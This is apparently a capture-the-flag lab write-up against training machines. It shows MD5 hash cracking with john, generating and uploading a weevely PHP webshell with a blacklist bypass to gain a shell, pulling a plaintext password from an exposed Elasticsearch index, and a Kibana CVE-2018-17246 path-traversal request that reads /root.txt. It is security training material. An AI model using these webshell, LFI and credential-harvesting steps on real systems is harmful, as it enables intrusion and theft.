$ john /tmp/sqlmap56o5f2b6144029/sqlmaphashes-x2usmm49.txt --wordlist=/usr/share/wordlists/passwords/rockyou.txt --format=raw-md5
Using default input encoding: UTF-8
Loaded 9 password hashes with no different salts (Raw-MD5 [MD5 128/128 AVX 4x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
saltnpepper (santa_claus)
1g 0:00:00:01 DONE (2020-11-29 19:39) 0.5181g/s 7431Kp/s 7431Kc/s 59535KC/s filimani..*7¡Vamos!
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed
Santa has a secret! Which station is he meeting Mrs Mistletoe in?
Answer: Waterloo
http://10.10.95.214/messages.php?u=mommy_mistletoe
Once you're logged in to LapLANd, there's a way you can gain a shell on the machine! Find a way to do so and read the file in /home/user/
Answer: THM{SHELLS_IN_MY_EGGNOG}
Webshell generation:
$ weevely generate noraj agent.php
Generated 'agent.php' with password 'noraj' of 774 byte size.
Upload a file on post, extension blacklist bypass.
https://book.hacktricks.xyz/pentesting-web/file-upload
Access the webshell from the CLI:
$ weevely http://10.10.95.214/assets/images/posts/5fc3ee910fd35agent.phtml noraj
weevely> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@server:/var/www/html/assets/images/posts $ cd /home
www-data@server:/home $ ls
user
www-data@server:/home $ cd user
www-data@server:/home/user $ ls
flag.txt
www-data@server:/home/user $ cat flag.txt
[Day 24] Elf Stalk
Find the password in the database
Answer: 9Qs58Ol3AXkMWLxiEyUyyf
Service scan:
$ sudo nmap -sSVC -p- 10.10.75.227 -v
...
PORT STATE SERVICE VERSION
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
|_ 100000 3,4 111/udp6 rpcbind
5601/tcp open esmagent?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, Kerberos, RPCCheck, RTSPRequest, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServerCookie, X11Probe:
| HTTP/1.1 400 Bad Request
| FourOhFourRequest:
| HTTP/1.1 404 Not Found
| kbn-name: kibana
| kbn-xpack-sig: 5a29ca259924bec4872ad69d3677ec71
| content-type: application/json; charset=utf-8
| cache-control: no-cache
| content-length: 60
| Date: Sun, 29 Nov 2020 19:01:47 GMT
| Connection: close
| {"statusCode":404,"error":"Not Found","message":"Not Found"}
| GetRequest:
| HTTP/1.1 200 OK
| kbn-name: kibana
| kbn-xpack-sig: 5a29ca259924bec4872ad69d3677ec71
| cache-control: no-cache
| content-type: text/html; charset=utf-8
| content-length: 217
| accept-ranges: bytes
| Date: Sun, 29 Nov 2020 19:01:46 GMT
| Connection: close
| <script>var hashRoute = '/app/kibana';
| defaultRoute = '/app/kibana';
| hash = window.location.hash;
| (hash.length) {
| window.location = hashRoute + hash;
| else {
| window.location = defaultRoute;
| }</script>
| HTTPOptions:
| HTTP/1.1 404 Not Found
| kbn-name: kibana
| kbn-xpack-sig: 5a29ca259924bec4872ad69d3677ec71
| content-type: application/json; charset=utf-8
| cache-control: no-cache
| content-length: 38
| Date: Sun, 29 Nov 2020 19:01:46 GMT
| Connection: close
|_ {"statusCode":404,"error":"Not Found"}
8000/tcp open http SimpleHTTPServer 0.6 (Python 3.7.4)
| http-methods:
|_ Supported Methods: GET HEAD
|_http-server-header: SimpleHTTP/0.6 Python/3.7.4
|_http-title: Directory listing for /
9200/tcp open http Elasticsearch REST API 6.4.2 (name: sn6hfBl; cluster: elasticsearch; Lucene 7.4.0)
|_http-favicon: Unknown favicon MD5: 6177BFB75B498E0BB356223ED76FFE43
| http-methods:
| Supported Methods: DELETE HEAD GET OPTIONS
|_ Potentially risky methods: DELETE
|_http-title: Site doesn't have a title (application/json; charset=UTF-8).
9300/tcp open vrace?
| fingerprint-strings:
| FourOhFourRequest, GetRequest, HTTPOptions, RTSPRequest, SIPOptions:
|_ This is not an HTTP port
5601 Kibana
8000 Logstack
9200 Elastic Search
Elastic query for the password:
$ curl 'http://10.10.75.227:9200/_search?q=password' -s | jq
{
"took": 123,
"timed_out": false,
"_shards": {
"total": 6,
"successful": 6,
"skipped": 0,
"failed": 0
},
"hits": {
"total": 1,
"max_score": 2.0136302,
"hits": [
{
"_index": "messages",
"_type": "_doc",
"_id": "73",
"_score": 2.0136302,
"_source": {
"sender": "mary",
"receiver": "wendy",
"message": "hey, can you access my dev account for me. My username is l33tperson and my password is 9Qs58Ol3AXkMWLxiEyUyyf"
}
}
]
}
}
Read the contents of the /root.txt file
Answer: someELKfun
From nmap:
Elasticsearch REST API 6.4.2
Lucene 7.4.0
From http://10.10.75.227:8000/kibana-log.txt
kibana@6.4.2
c@6.4.2
xpack_main@6.4.2
searchprofiler@6.4.2
etc.
Search for Kibana exploit:
$ searchsploit Kibana
------------------------------------------------------------------------------------ ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------ ---------------------------------
Kibana 6.6.1 - CSV Injection | windows/webapps/47971.txt
------------------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results
search kibana 6.4.2 exploit
https://github.com/mpgn/CVE-2018-17246
CVE-2018-17246 - Kibana LFI < 6.4.3 & 5.6.13
Exploit the LFI:
http://10.10.75.227:5601/api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../.../../../../root.txt
The querry hangs because of the error generated so we go see logs at http://10.10.75.227:8000/kibana-log.txt and see:
{"type":"error","@timestamp":"2020-11-29T19:27:45Z","tags":["warning","process"],"pid":2710,"level":"error","error":{"message":"Unhandled promise rejection. This error originated either by throwing inside of an async function without a catch block, or by rejecting a promise which was not handled with .catch(). (rejection id: 3)","name":"UnhandledPromiseRejectionWarning","stack":"ReferenceError: someELKfun is not defined\n at Object.<anonymous> (/root.txt:1:6)\n at Module._compile (module.js:652:30)\n at loader (/usr/share/kibana/node_modules/babel-register/lib/node.js:144:5)\n at Object.require.extensions.(anonymous function) [as .js] (/usr/share/kibana/node_modules/babel-register/lib/node.js:154:7)\n at Module.load (module.js:565:32)\n at tryModuleLoad (module.js:505:12)\n at Function.Module._load (module.js:497:3)\n at Module.require (module.js:596:17)\n at require (internal/module.js:11:18)\n at /usr/share/kibana/src/core_plugins/console/api_server/server.js:19:19\n at arrayEach (/usr/share/kibana/node_modules/lodash/index.js:1289:13)\n at Function.<anonymous> (/usr/share/kibana/node_modules/lodash/index.js:3345:13)\n at resolveApi (/usr/share/kibana/src/core_plugins/console/api_server/server.js:16:20)\n at handler (/usr/share/kibana/src/core_plugins/console/index.js:115:41)\n at Object.internals.handler (/usr/share/kibana/node_modules/hapi/lib/handler.js:96:36)\n at request._protect.run (/usr/share/kibana/node_modules/hapi/lib/handler.js:30:23)\n at module.exports.internals.Protect.internals.Protect.run (/usr/share/kibana/node_modules/hapi/lib/protect.js:64:5)\n at exports.execute (/usr/share/kibana/node_modules/hapi/lib/handler.js:24:22)\n at each (/usr/share/kibana/node_modules/hapi/lib/request.js:384:16)\n at iterate (/usr/share/kibana/node_modules/items/lib/index.js:36:13)\n at done (/usr/share/kibana/node_modules/items/lib/index.js:28:25)\n at Hoek.once (/usr/share/kibana/node_modules/hapi/lib/protect.js:52:16)\n at wrapped (/usr/share/kibana/node_modules/hoek/lib/index.js:879:20)\n at done (/usr/share/kibana/node_modules/items/lib/index.js:31:25)\n at Function.wrapped [as _next] (/usr/share/kibana/node_modules/hoek/lib/index.js:879:20)\n at Function.internals.continue (/usr/share/kibana/node_modules/hapi/lib/reply.js:108:10)\n at method (/usr/share/kibana/node_modules/x-pack/plugins/dashboard_mode/server/dashboard_mode_request_interceptor.js:44:7)\n at Items.serial (/usr/share/kibana/node_modules/hapi/lib/request.js:403:22)"},"message":"Unhandled promise rejection. This error originated either by throwing inside of an async function without a catch block, or by rejecting a promise which was not handled with .catch(). (rejection id: 3)"}